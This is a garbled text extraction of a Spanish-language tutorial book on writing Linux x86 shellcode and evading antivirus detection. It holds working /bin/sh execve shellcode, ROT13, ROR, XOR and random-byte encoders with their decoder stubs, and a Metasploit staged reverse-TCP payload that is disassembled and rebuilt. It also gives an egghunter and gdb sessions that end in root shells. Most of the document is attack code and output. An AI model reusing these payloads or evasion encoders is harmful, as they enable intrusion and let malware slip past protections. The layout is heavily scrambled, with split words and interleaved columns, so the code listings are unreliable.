0x70
0x82
0x8b
inc
0x08048090 <+1>:
de>
loop
0x08048092 <+3>:
shellcode>
jmp
esi
0x804808a <deco0x8048099 <enc-
Y le diremos que continue hasta alcanzar el nuevo punto de interrupcin del jump. Si mantenemos los puntos de interrupcin,
55
se ir deteniendo en cada uno de los marcados. Con ello, podremos examinar detenidamente el contenido apuntado por el
registro ESI.
operaciones ms complejas que no puedan seguir o bien, abandonen por no detectar nada en las primeras operaciones que
realizan y pensar que si entrasen en dicho stub, el sistema se
vera penalizado en rendimiento por lo que no entraran, siendo
algo ms perfeccionados que el ejemplo realizado.
>>> c
Continuing.
Finalmente una vez alcanzado, procederemos a volver a visualizar la shellcode completamente decodificada:
0x89
0x80480a1 <encshellcode+8>:
0x73
0x68
0x68
0x2f
0x2f
0x62
0x2f
0x69
0x80480a9 <encshellcode+16>:
0xe3
0xb0
0x0b
0xcd
0x6e
0x80
0x89
0x00
57
Decodificador en ensamblador
ROT13
Desarrollo
ROT13
(rotar 13genrico
posiciones,
a veces con un guion: ROT-13)
1.
Desarrollo
en C
es un sencillo cifrado Csar utilizado para ocultar un texto sustituyendo cada letra por la letra que est trece posiciones por delante en el alfabeto.
58
for x in bytearray(shellcode):
if x < MaxValue:
encoded += "\\x%02x" % (x + ROT)
asm.append("0x%02x" % (x + ROT))
"\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\
x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x8
0"
else:
x)
x))
#!/usr/bin/env python
Su ejecucin dar como resultado:
shellcode
=
("\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x
80")
$ python rot.py
ROT = 13
E n c o d e d :
\x3e\xcd\x96\xcf\x96\xce\x5d\x75\x3c\x3c\x80\x
75\x75\x3c\x6f\x76\x7b\x96\xf0\xbd\x18\xda\x8d
# Rot = 13
A S M :
0x3e,0xcd,0x96,0xcf,0x96,0xce,0x5d,0x75,0x3c,0
x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0x
f0,0xbd,0x18,0xda,0x8d
asm = []
59
global _start
section .text
_start:
db 0x5d,0x75,0x3c,0x3c,0x80,0x75
db 0x75,0x3c,0x6f,0x76,0x7b,0x96
db 0xf0,0xbd,0x18,0xda,0x8d
len: equ $-encoded
A continuacin, tendremos que proceder exactamente igual
que en el cdigo anterior para obtener la direccin de la shellcode codificada, limpiar ECX y pasarle la longitud:
decoder:
; Instrucciones
pop esi
; Dir. Encoded
; ecx = 0
; cl = len()
jump_decoder:
; Decodificar (call)
call decoder
encoded:
db 0x3e,0xcd,0x96,0xcf,0x96,0xce
Para ello, probamos si podemos restarlo con una simple comparacin de tipo CMP y un salto del tipo JL. El resto de nuestro
cdigo para decodificarlo, ser exactamente igual que el anterior.
60
decode:
cmp byte [esi], 0xD ; Podemos restar 13?
jl vuelta
; No se puede, saltar
| JNE/
| ZF = 0
| JNZ
+--------+------------------------------+-------------+--------------------+
| JP/
| Jump if parity
| PF = 1
| JPE
+--------+------------------------------+-------------+--------------------+
| JNP/
| Jump if no parity
| PF = 0
| JPO
+--------+------------------------------+-------------+--------------------+
| JCXZ/
| Jump if CX is zero
| CX = 0
| JECXZ
| ECX = 0
+--------+------------------------------+-------------+--------------------+
| Description
| signedness
| Flags
+--------+------------------------------+-------------+--------------------+
| JO
| Jump if overflow
| OF = 1
+--------+------------------------------+-------------+--------------------+
| JNO
| OF = 0
+--------+------------------------------+-------------+--------------------+
| JS
| Jump if sign
| SF = 1
+--------+------------------------------+-------------+--------------------+
| JNS
| SF = 0
+--------+------------------------------+-------------+--------------------+
| JE/
| Jump if equal
| ZF = 1
| JZ
| Jump if zero
+--------+------------------------------+-------------+--------------------+
|Instr
| Description
| signedness
| Flags
+--------+------------------------------+-------------+--------------------+
| JB/
| Jump if below
| unsigned
| CF = 1
| JNAE/
| JC
| Jump if carry
+--------+------------------------------+-------------+--------------------+
| JNB/
| unsigned
| CF = 0
| JAE/
| JNC
+--------+------------------------------+-------------+--------------------+
| JBE/
| unsigned
| CF = 1 or ZF = 1
| JNA
+--------+------------------------------+-------------+--------------------+
| JA/
| Jump if above
| unsigned
| CF = 0 and ZF = 0
61
| JNBE
+--------+------------------------------+-------------+--------------------+
vuelta:
; edx = 0
; edx = 13
; 13 - valor_byte
+--------+------------------------------+-------------+--------------------+
xor ebx,ebx
; ebx = 0
| JL/
| Jump if less
| JNGE
+--------+------------------------------+-------------+--------------------+
|Instr
| Description
| signedness
| signed
| Flags
| SF <> OF
+--------+------------------------------+-------------+--------------------+
| JGE/
| signed
| SF = OF
| JNL
+--------+------------------------------+-------------+--------------------+
| JLE/
| signed
| ZF = 1 or SF <> OF |
| JNG
inc ebx
sub bx, dx
+--------+------------------------------+-------------+--------------------+
| JG/
| Jump if greater
| signed
| ZF = 0 and SF = OF |
| JNLE
+--------+------------------------------+-------------+--------------------+
Como habremos observado, nuestra condicin tras la comparacin es JL (jump if less) con operaciones con signo. Por tanto,
en caso que no podamos restarlo, tendremos que proceder a
crear otra funcin para poder procesarlo que le hemos denominado vuelta y que simplemente restar el valor 256 - (13 - valor_a_decodificar).
nextbyte:
inc esi
; Siguiente byte
loop decode
63
Decodificador en ensamblador
temp = temp - 1;
OD;
IF COUNT = 1
THEN
IF high-order bit of r/m <> CF
THEN OF = 1;
ELSE OF = 0;
ROR/ROL
(ROtate Right/Left)
Desarrollo
FI;
ELSE OF = undefined;
Podemos
emplear
rotacinen
de C
bits en vez de emplear el cifra1.
Desarrollo
genrico
do anterior. Para ello, podemos emplear la rotacin de los mismos a la izquierda o a la derecha. El juego de instrucciones en
ensamblador x86 nos provee de ROL, ROR, RCL y RCR.
FI;
Por el contrario, para rotar hacia la derecha (ROR), tendremos
el siguiente algoritmo:
temp = COUNT;
El algoritmo empleado para realizar una rotacin a la izquierda
(ROL) es el siguiente:
temp = COUNT;
WHILE (temp <> 0)
DO
tmpcf = high-order bit of (r/m);
r/m = r/m * 2 + (tmpcf);
IF COUNT = 1
THEN
64
ELSE OF = undefined;
FI;
global _start
section .text
_start:
jmp short jump_encoder
"\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\
x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x8
0"
encoder:
; Instrucciones
jump_encoder:
En vez de usar un cdigo en otro lenguaje de programacin, vamos a emplear directamente ensamblador para escribir el codificador al que denominaremos ror.asm. Para ello, copiaremos
la estructura del fichero jmpcallpop.asm de la forma:
; Codificar (call)
call encoder
shellcode:
db 0x31, 0xc0, 0x89, 0xc2, 0x89
db 0xc1, 0x50, 0x68, 0x2f, 0x2f
db 0x73, 0x68, 0x68, 0x2f, 0x62
$ cp jmpcallpop.asm ror.asm
; Codificar/Decodificar
encoder:
; Byte actual
; Siguiente byte
inc eax
; Instrucciones
pop esi
dec ecx
; Contador descendente
jnz encode
; Loop
int 0x03
; Len(shellcode)
mov cl, len
Tan slo tendremos que completar el cdigo para obtener el
byte de la shellcode a codificar (mediante ESI + EAX), codificarlo (ROR), guardarlo mediante el registro EDI y repetir el bucle
hasta el final.
66
Como podemos observar, el cdigo se ha detenido. Ello es debido al uso de la INT 0x3 para poder detener el depurador y ver
la codificacin de la shellcode. Para ello, simplemente tendremos que verlo con el GNU Debugger (gdb) de la forma:
$ gdb -q ./ror
Reading symbols from ./ror...(no debugging symbols found)...done.
>>> r
Starting
program:
/root/AvEvaders/shellcodes/chapter03/ror
...
Program received
kpoint trap.
signal
SIGTRAP,
0x80480a3 <shellcode>:
0x86
0x13,
0x86,
0x26,
0xdc,
0x0c,
0xf2,
0x96,
0x08
0x98,
0xf2,
0xe6,
0x2c,
0x37,
0x98,
0x98,
0x86,
0x3e,
0x1c,
0x86,
0x0b,
0x05,
0xf2,
0xb0,
Trace/brea-
0x0804809c in encode ()
>>>
global _start
section .text
_start:
67
decoder:
; Ejecutar
jump_decoder:
; Instrucciones
; Decodificar (call)
pop esi
call decoder
shellcode:
; Len(shellcode)
db 0xb0, 0xdc,
0x08
; Byte actual
; Codificar/Decodificar
Por tanto, volveremos a compilar y enlazar de la forma tradicional que hemos empleado:
; Siguiente byte
inc eax
dec ecx
; Contador descendente
jnz decode
; Loop
int 0x03
$ gdb -q ./rol
Reading symbols from ./rol...(no debugging symbols found)...done.
>>> r
Program received
kpoint trap.
signal
SIGTRAP,
Trace/brea-
0x0804809c in decode ()
>>> x/23xb $esi
0x80480a3 <shellcode>: 0x31
0xc2
0x89
0xc1
0x50
0x89
0x73
0xe3
0x89
sed "s/CD03/9090/g" | \
xxd -r -p > rol_patched
$ objdump -d rol
Para comprobar que lo hemos parcheado correctamente, volveremos a ejecutar objdump de la forma:
$ objdump -d rol_patched
70
Decodificador en ensamblador
#!/usr/bin/python
shellcode
=
("\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x
80")
ROR
+ XOR
Desarrollo
UnaDesarrollo
vez que ya conocemos
cmo
1.
genrico en
C implementar rotacin de bits,
podemos combinar posteriormente con otra codificacin tipo
XOR con un valor hardcodeado en principio. Posteriormente,
dicho valor, podr ser obtenido por diferentes medios (unidad
de disco de ejecucin, nmero de microprocesadores, etc.)
| \
>>
global _start
for x in bytearray(shellcode):
z = ror(x, 6, 8) ^ XORvalue
section .text
encoded += "0x"
encoded += "%02x," % z
_start:
jmp short jump_decoder
; Instrucciones
jump_decoder:
$ python rorxor.py
ASM
Encoded
shellcode:
0x6f,0xa8,0x8d,0xa0,0x8d,0xac,0xea,0x0a,0x17,0
x17,0x66,0x0a,0x0a,0x17,0x22,0x0e,0x12,0x8d,0x
24,0x69,0x87,0x9c,0xa9,
; Decodificar (call)
call decoder
shellcode:
db 0x6f,0xa8,0x8d,0xa0,0x8d
db 0xac,0xea,0x0a,0x17,0x17
Tan slo procederemos como de costumbre y copiaremos el fichero jmpcallpop.asm a rorxor.asm y completaremos los
OpCodes de nuestra shellcode:
db 0x66,0x0a,0x0a,0x17,0x22
db 0x0e,0x12,0x8d,0x24,0x69
db 0x87,0x9c,0xa9
len: equ $-shellcode
decoder:
# id
; Instrucciones
pop esi
# exit
; Dir. shellcode
Como veremos ms adelante, mediante la aplicacin de tcnicas combinadas, ser mucho ms fcil poder evadir las protecciones que encontremos.
decode:
xor byte [esi], 0xAB ; XOR 0xAB
rol byte [esi], 6
; ROL 6
inc esi
loop decode
jmp short shellcode
Con ello, simplemente tendremos que compilar y enlazar de la
forma habitual para poder ejecutarla y comprobar su correcto
funcionamiento:
Decodificador en ensamblador
Tambin podramos elegir cuntos bytes vamos a introducir para reducir la longitud, -por ejemplo en las cuatro primeras posiciones y 4 ltimas posiciones-, etc. Incluso, podramos combinar con un byte que indicase cuntos vendran a continuacin
de la forma:
Random
Bytes
Desarrollo
Podemos
ofuscargenrico
tambin laen
shellcode
aadiendo bytes aleato1.
Desarrollo
C
rios en posiciones determinadas y que el stub al cargarla no
los emplee. Un ejemplo, podra ser insertar un byte aleatorio detrs de cada uno real, lo que duplicara la longitud de la shellcode como la figura que se representa a continuacin.
#!/usr/bin/python
import random
shellcode
=
("\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x
80")
74
encoded = ""
for x in bytearray(shellcode):
encoded += "0x"
encoded += "%02x," % x
global _start
encoded += "0x"
y = random.randint(1, 255)
section .text
encoded += "%02x," % y
_start:
print "ASM Encoded shellcode: %s " % encoded
$ python aleatorio.py
ASM
Encoded
shellcode:
0x31,0x69,0xc0,0x0e,0x89,0x8f,0xc2,0xc6,0x89,0
x01,0xc1,0x23,0x50,0x84,0x68,0x06,0x2f,0x6e,0x
2f,0xb9,0x73,0xa4,0x68,0x1b,0x68,0xc3,0x2f,0xb
9,0x62,0x38,0x69,0x81,0x6e,0xe1,0x89,0x38,0xe3
,0x18,0xb0,0xba,0x0b,0x69,0xcd,0xeb,0x80,0xa2,
db 0xc3,0x2f,0xb9,0x62,0x38
decode:
db 0x69,0x81,0x6e,0xe1,0x89
; Byte Actual
db 0x38,0xe3,0x18,0xb0,0xba
; Guardar
inc edi
; Siguiente
add al, 2
; OpCodes impares
dec ecx
; Countdown
jnz decode
; Loop
; Run
db 0x0b,0x69,0xcd,0xeb,0x80
db 0xa2
len: equ $-shellcode
decoder:
; Instrucciones
pop esi
; Dir. shellcode
$ sudo ./aleatorio
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
76
$ gdb -q ./aleatorio
Reading symbols from ./aleatorio...(no
bugging symbols found)...done.
de-
mov
(%esi,%eax,1),%bl
0x08048090 <+3>:
mov
%bl,(%edi)
0x08048092 <+5>:
inc
%edi
0x08048093 <+6>:
add
$0x2,%al
0x08048095 <+8>:
dec
%ecx
0x08048096 <+9>:
de>
jne
0x08048098 <+11>:
<shellcode>
jmp
0x804808d <deco0x804809f
0xc0
0x68
0x89
0x73
0xe3
0x61
0x72
0x00
Como podemos observar, en rojo se muestran los OpCodes correspondientes a nuestra shellcode codificada y una vez eliminados los bytes aleatorios que habamos introducido entre
ellos.
Decodificador en ensamblador
ROL
XOR
Impar
Combinacin
de tcnicas
Desarrollo
Conforme
hemosgenrico
visto, disponemos
1.
Desarrollo
en C de numerosas tcnicas para poder ofuscar el cdigo de nuestras shellcodes. Daremos en
esta seccin algunas tcnicas que nos permitirn, sin ser excesivamente complejas para su desarrollo en ensamblador para
el lector, poder realizar varias combinaciones.
Podemos anidar la salida de una shellcode codificada como entrada de otra y as sucesivamente. Es decir, un stub nos llevar
a otro que se encargar de decodificar la siguiente, etc.
rol (6,8)
0xAB
Par
0xBA
ROR
Pares:
ror(6,8)
Impares:
ror(2,8)
XOR
0xAB
Todos
igual
Se presentan a continuacin (no implementadas) algunas tcnicas que pueden ser empleadas y que servirn para despertar
la curiosidad del lector.
78
XOR
RANDOM
ROL
Par: 0xAB
Impar: 0xBA
Random(N+1)
NOT
y = ~x
Par: rol(3,8)
Impar: rol(5,8)
ROL
z = rol(y,3,8)
RANDOM
ROR
XOR
NOT
x=ror(6,8)
y=x^0xAB
z=~y
Impar:
random(n)
Par: z(n+1)
79
Multistaged
Shellcodes
Multistaged Shellcodes
Introduccin
Desarrollo
UnaDesarrollo
shellcode conforme
la en
hemos
1.
genrico
C estudiado hasta ahora, ha
consistido en un cdigo completo que ha ejecutado todas las
funciones. Sin embargo, muchas veces, se nos presentan casos como que la shellcode completa no cabe en el espacio
que tenemos disponible, que existe una parte que es detectada
por las protecciones, etc.
En esos casos, podemos hablar de construir shellcodes multistaged (con varias etapas). Lo ms normal, es emplear una
shellcode con dos etapas, una primera que realizar una accin determinada y otra que contendr el resto del cdigo. Pero
en realidad cmo funcionan?
81
En el presente captulo, analizaremos mediante ingeniera inversa conocidas shellcodes como las que empleamos en Metasploit (http://www.metasploit.com/) y que emplean estas tcnicas. Finalmente, seremos capaces de entender cmo funcionan y disear nuestra propia multistaged shellcode.
82
Multistaged Shellcodes
msf payload(reverse_tcp) > set LPORT 4444
LPORT => 4444
msf payload(reverse_tcp) > generate
# linux/x86/shell/reverse_tcp - 71 bytes (stage 1)
# http://www.metasploit.com
Second
Stage Payload
Desarrollo
Tal Desarrollo
como hemos genrico
dicho, vamos
1.
en aCver en funcionamiento una de
las shellcodes que emplea el framework metasploit con la que
podremos trabajar y adaptar a nuestras necesidades especficas con fines exclusivamente didcticos.
# ReverseAllowProxy=false,
nerThreaded=false,
# ReverseConnectRetries=5,
BindPort=0,
# PayloadUUIDTracking=false,
ding=false,
ReverseListenerR e v e r s e L i s t eEnableStageEnco-
# StageEncoderSaveRegisters=,
dingFallback=true,
Vamos a trabajar con linux/x86/shell/reverse_tcp para comprender su funcionamiento. Para ello, abriremos una consola
en metasploit y pondremos los siguientes comandos:
# PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false,
lse,
S t a g e E n c o-
# PrependSetgid=false,
lse,
PrependSetregid=fa-
PrependChrootBreak=fa-
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\
x89\xe1\xcd" +
"\x80\x97\x5b\x68\x7f\x00\x00\x01\x68\x02\x00\
x11\x5c\x89" +
"\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\
x80\xb2\x07" +
"\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\
xe3\x0c\xb0" +
"\x7d\xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\
xcd\x80\xff" +
En este caso, la primera de ellas, crear un canal en la mquina de la vctima hacia el atacante, descargar la segunda
shellcode y la ejecutar.
"\xe1"
Adems, hemos obtenido los OpCodes correspondientes a cada una de ellas. Por lo tanto, podemos ver en ensamblador qu
es lo que hacen. Para ello, vamos a generar un fichero denominado disasopcodes.sh con:
buf =
"\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\
x79\xf8\x6a" +
#!/bin/bash
"\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\
x62\x69\x6e" +
clear
"\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# First Stage
#
echo "------------"
echo "First stage:"
84
echo "------------"
$ ./disasopcodes.sh
echo
-ne
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\
x89\xe1\xcd\x80\x97\x5b\x68\x7f\x00\x00\x01\x6
8\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\
x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10\x0
0\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\
xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x8
0\xff\xe1" | ndisasm -u -
#
# Second Stage
#
echo "-------------"
echo "Second stage:"
echo "-------------"
echo
-ne
"\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\
x79\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\
xcd\x80" | ndisasm -u -
-----------First stage:
-----------00000000
31DB
xor ebx,ebx
00000002
F7E3
mul ebx
00000004
53
push ebx
00000005
43
inc ebx
00000006
53
push ebx
00000007
6A02
00000009
B066
mov al,0x66
0000000B
89E1
mov ecx,esp
0000000D
CD80
int 0x80
0000000F
97
xchg eax,edi
00000010
5B
pop ebx
00000011
0x100007f
687F000001
push dword
00000016
680200115C
0x5c110002
push dword
0000003C
89E1
mov ecx,esp
0000003E
99
cdq
0000003F
B60C
mov dh,0xc
0000001B
89E1
mov ecx,esp
00000041
B003
mov al,0x3
0000001D
6A66
00000043
CD80
int 0x80
0000001F
58
pop eax
00000045
FFE1
jmp ecx
00000020
50
push eax
-------------
00000021
51
push ecx
Second stage:
00000022
57
push edi
-------------
00000023
89E1
mov ecx,esp
00000000
89FB
mov ebx,edi
00000025
43
inc ebx
00000002
6A02
00000026
CD80
int 0x80
00000004
59
pop ecx
00000028
B207
mov dl,0x7
00000005
6A3F
0000002A
B900100000
mov ecx,0x1000
00000007
58
pop eax
0000002F
89E3
mov ebx,esp
00000008
CD80
int 0x80
00000031
C1EB0C
0000000A
49
dec ecx
00000034
C1E30C
0000000B
79F8
jns 0x5
00000037
B07D
mov al,0x7d
0000000D
6A0B
00000039
CD80
int 0x80
0000000F
58
pop eax
0000003B
5B
pop ebx
00000010
99
cdq
86
00000011
52
push edx
00000012
682F2F7368
0x68732f2f
push dword
00000017
682F62696E
0x6e69622f
push dword
global _start
0000001C
89E3
mov ebx,esp
0000001E
52
push edx
0000001F
53
push ebx
00000020
89E1
mov ecx,esp
00000022
CD80
int 0x80
section .text
_start:
; Crear socket
xor ebx,ebx
; ebx = 0 (socket)
mul ebx
; eax = 0, edx = 0
push ebx
inc ebx
push ebx
mov al,0x66
; socketcall = 102
mov ecx,esp
int 0x80
inc ebx
; ebx=3 (connect)
int 0x80
xchg eax,edi
A continuacin, realizaremos un CONNECT estndar a la direccin IP y PUERTO que hemos especificado en la consola de
metasploit. Lo nico a destacar, es que guardaremos el socket
en la pila antes de realizar la llamada:
pop ebx
; ebx = 2
; 127.0.0.1
; 0x5c11=4444
mov ecx,esp
push byte +0x66
; syscall 102
mov al,0x7d
int 0x80
pop eax
push eax
push ecx
push edi
mov ecx,esp
; Apilar socket
Por ltimo, simplemente vamos a leer del socket que recuperaremos de la pila y finalmente, mediante un JMP ECX saltaremos a ejecutar el cdigo que ha sido guardado en la pila (que
88
; Recuperar el socket
mov ecx,esp
cdq
mov dh,0xc
; dx = 0xc0 = 192
mov al,0x3
; syscall = 3 (read)
int 0x80
jmp ecx
global _start
section .text
_start:
; Dup2 (STDIN, STDOUT, STDERR)
mov ebx,edi ; ebx = socket
push byte +0x2
El primer payload guarda el segundo en la pila. El segundo emplear el socket que cre el primer payload.
pop ebx
En la siguiente parte, se observa un bucle y el uso de la syscall 63 conforme al cdigo mostrado:
loop:
push byte +0x3f
; syscall = 63
pop eax
89
int 0x80
dec ecx
jns loop
Por ltimo, es una simple llamada a execve con /bin/sh conforme se denota en el cdigo:
; Execve '/bin//sh':
push byte +0xb
; syscall = 11
pop eax
use exploit/multi/handler
cdq
push edx
; NULL
exploit
mov ebx,esp
push edx
push ebx
mov ecx,esp
int 0x80
$ sudo ./stage1
Si todo es correcto, la conexin ser gestionada por la consola
de metasploit y veremos cmo enva el second stage payload y
establece la conexin como en la figura. Podremos poner cual90
id
uid=0(root) gid=0(root) groups=0(root)
exit
[*] 127.0.0.1 - Command shell session 1 closed. Reason: Died from EOFError
$ sudo ./stage2
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
91
Multistaged Shellcodes
$ ./stage1
Depurando
el Second Stage Payload
Desarrollo
Conforme
hemosgenrico
visto, de en
forma
1.
Desarrollo
C manual y con metasploit, funciona correctamente, pero si queremos en realidad probar los
resultados de nuestra second stage entonces tendremos
que depurar el binario y comprobar que todo es correcto.
from
(UNKNOWN)
TEST
Necesitaremos para realizar la prctica, dos terminales. En el
primero, simplemente lanzaremos un manejador que reciba la
conexin. Para ello, emplearemos otra vez la utilidad netcat escribiendo en el prompt del sistema:
sent 5, rcvd 0
Veremos que se han enviado 5 bytes (TEST+CR). Si cambiamos a la otra consola, veremos el resultado en la salida del binario stage1:
$ nc -vvvnlp 4444
listening on [any] 4444 ...
Violacin de segmento
92
0x0804808b <+11>:
mov
ecx,esp
0x0804808d <+13>:
int
0x80
0x0804808f <+15>:
xchg
edi,eax
0x08048090 <+16>:
pop
ebx
0x08048091 <+17>:
push
0x100007f
0x08048096 <+22>:
push
0x5c110002
0x0804809b <+27>:
mov
ecx,esp
0x0804809d <+29>:
push
0x66
0x0804809f <+31>:
pop
eax
0x080480a0 <+32>:
push
eax
0x080480a1 <+33>:
push
ecx
$ gdb -q ./stage1
0x080480a2 <+34>:
push
edi
0x080480a3 <+35>:
mov
ecx,esp
0x080480a5 <+37>:
inc
ebx
0x080480a6 <+38>:
int
0x80
0x080480a8 <+40>:
mov
dl,0x7
0x080480aa <+42>:
mov
ecx,0x1000
En el terminal 2, abriremos stage1 con el depurador y desensamblaremos el cdigo de _start conforme a los siguientes pasos:
0x08048080 <+0>:
xor
ebx,ebx
0x080480af <+47>:
mov
ebx,esp
0x08048082 <+2>:
mul
ebx
0x080480b1 <+49>:
shr
ebx,0xc
0x08048084 <+4>:
push
ebx
0x080480b4 <+52>:
shl
ebx,0xc
0x08048085 <+5>:
inc
ebx
0x080480b7 <+55>:
mov
al,0x7d
0x08048086 <+6>:
push
ebx
0x080480b9 <+57>:
int
0x80
0x08048087 <+7>:
push
0x2
0x080480bb <+59>:
pop
ebx
0x08048089 <+9>:
mov
al,0x66
0x080480bc <+60>:
mov
ecx,esp
93
0x080480be <+62>:
cdq
0x080480bf <+63>:
mov
dh,0xc
0x080480c1 <+65>:
mov
al,0x3
0x080480c3 <+67>:
int
0x80
0x080480c5 <+69>:
jmp
ecx
from
(UNKNOWN)
TEST[enter]
Como es lgico, vemos el cdigo original de nuestra shellcode.
Pondremos un breakpoint justo al realizar el CONNECT y otro
antes de realizar el salto final a ECX para ejecutar al shellcode
siguiente. Entonces, ejecutaremos el cdigo en el depurador.
Para ello, tendremos que escribir en gdb:
>>> b *0x080480bc
Breakpoint 1 at 0x80480bc
>>> b *0x080480c5
Breakpoint 2 at 0x80480c5
>>> r
Habremos alcanzado el primer punto de interrupcin y tendremos la conexin con netcat establecida. Cambiaremos de termi-
>>>
stepi
>>>
stepi
>>>
stepi
>>>
stepi
contador) tiene el valor 0xc00 (3072). Vamos a ejecutar mediante el comando stepi la INT 0x80 para que lea lo recibido en el
socket y alcance el siguiente punto de interrupcin (antes de
ejecutar el salto a ECX):
>>>
stepi
cs
0x73
115
ss
0x7b
123
ds
0x7b
123
es
0x7b
123
fs
0x0 0
gs
0x0 0
>>>
eax
0xfffffff2 -14
ecx
0xbffff418 -1073744872
edx
0xc00
ebx
0x3 3
esp
0xbffff418 0xbffff418
ebp
0x0 0x0
esi
0x0 0
edi
0x3 3
eip
<_start+69>
0x80480c5
eflags
0x286
3072
0 x 8 0 4 8 0 c 5
[ PF SF IF ]
95
Y como siempre se dice que una imagen vale ms que mil palabras, podemos ver dnde se ejecutar la shellcode en la siguiente imagen:
96
Multistaged Shellcodes
Por ejemplo, en un servidor intentamos explotar una vulnerabilidad en una aplicacin pasando un cdigo malicioso a travs de
un campo de entrada. Supongamos que encontramos un campo entre los mltiples que podra tener (y cada uno con un tamao diferente) vulnerable a un ataque del tipo buffer overflow pero su tamao es tan pequeo que no podramos almacenarla. La idea de esta tcnica, se resume a continuacin:
Egghunter
shellcodes
Desarrollo
A veces,
una shellcode
conforme
1.
Desarrollo
genrico
en C hemos comentado en secciones anteriores, es mayor que el espacio del que disponemos
en el buffer.
97
global _start
$ ld -o egghunter egghunter.o
$ objdump -d ./egghunter | grep
'[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut
-f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//
g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/
'|sed 's/$/"/g'
section .text
_start:
mov eax, addr
addr: db 0x1
; Dir. vlida
; egg -1
"\xb8\x72\x80\x04\x08\xbb\x43\x3d\x3d\x38\x43\
x40\x39\x18\x75\xfb\xff\xe0\x01"
; 0x383d3d44 -1
inc ebx
; No guardar hardcode
next_addr:
inc eax
Para la siguiente parte que sera el second stage payload, vamos a codificar una simple shellcode que muestre que ha sido
encontrada en pantalla. Para ello, simplemente tendremos que
crear el fichero showegg.asm con:
; ZF=0 no encontrado
jmp eax
; Encontrado! Saltar
global _start
98
section .text
get_address:
call shellcode
_start:
message db "Encontrado!", 0xA
jmp short get_address ; jmp call pop
Compilamos, enlazamos, ejecutamos el fichero y obtenemos
los OpCodes del mismo con:
shellcode:
pop ecx
push eax
; syscall write
; Arg1: stdout
; Arg3: len(msg)
int 0X80
xor eax, eax
mov al, 0x1
$ ./showegg
Encontrado!
$ ld -o showegg showegg.o
; exit syscall
int 0x80
99
Lo siguiente, ser escribir un cdigo en C para comprobar el correcto funcionamiento del egghunter y la shellcode con la marca o egg que hemos puesto. El cdigo ser findegg.c como
el siguiente:
100
Polymorphic
Shellcode
En este captulo,
aprenderemos algunas
tcnicas que se pueden
aplicar para crear un
cdigo polimrfico. Dicho
cdigo, evadir la mayora
de los mecanismos de
proteccin.
Polymorphic Shellcodes
Captulo
eliminado
Desarrollo
EsteDesarrollo
captulo ha genrico
sido eliminado
intencionadamente. Tras la cele1.
en C
bracin de SecAdmin 2015 (http://www.secadmin.es) en Sevilla
ser liberado.
102
Custom Crypter
En este captulo
escribiremos nuestro
propio crypter que como la
propia palabra indica, nos
permitir cifrar el
contenido del cdigo a
ejecutar mediante tcnicas
criptogrficas.
Custom Crypter
Captulo
eliminado
Desarrollo
EsteDesarrollo
captulo ha genrico
sido eliminado
intencionadamente. Tras la cele1.
en C
bracin de Sh3llcon 2016 (http://www.sh3llcon.es) en Santander ser liberado.
104
Windows x64
Shellcode
Captulo
eliminado
Desarrollo
EsteDesarrollo
captulo ha genrico
sido eliminado
intencionadamente. Tras la cele1.
en C
bracin de Hackr0n 2016 (http://www.hackron.com) en Santa
Cruz de Tenerife ser liberado.
106